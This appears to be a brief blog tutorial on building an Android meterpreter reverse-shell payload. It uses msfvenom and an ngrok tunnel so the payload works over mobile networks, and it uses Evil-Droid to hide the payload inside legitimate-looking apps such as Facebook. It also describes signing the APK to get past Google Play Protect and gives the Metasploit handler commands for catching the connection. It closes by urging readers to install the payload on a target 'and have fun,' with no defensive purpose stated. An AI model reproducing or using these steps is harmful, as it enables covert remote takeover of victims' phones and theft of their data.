How To Create Android payload with Ngrok and Kali llinux which works over WAN(on mobile netwrok).
Process for creating android Payload(on Kali Linux):
1. First set ngrok tcp server:
Command: Ngrok tcp 7777(or any lport you want)
2. Now for normal payload :
COMMAND: msfvenom –p android/meterpreter/reverse_tcp lhost=ip-address lport=port R > payload-name.apk
3. Or step 3 for creating paylaod on the apps(hiding payload inside the apps) that are useful such as: facebook etc.
To create a payload inside an app use tool name Evil-Droid(link: https://github.com/M4sc3r4n0/Evil-Droid):
1. cd Evil-Dorid
2. bash evildroid
now select no 3 and allow for apache server creation
now for the lhost select the ngrok Forwarding eg: {4.tcp.ngrok.io}
and for lport select the port side to that io: eg:15139
4.Time to run msfconsole:
COMMANDS: msfconsole
use/exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST as 0.0.0.0
set LPORT as 7777(or any lport you want to create)
exploit
Now everything is done but this payload cannot bypass google play protect so to sign i use mixploler .
Finally installing the payload to the target and have fun.
Comments
Post a Comment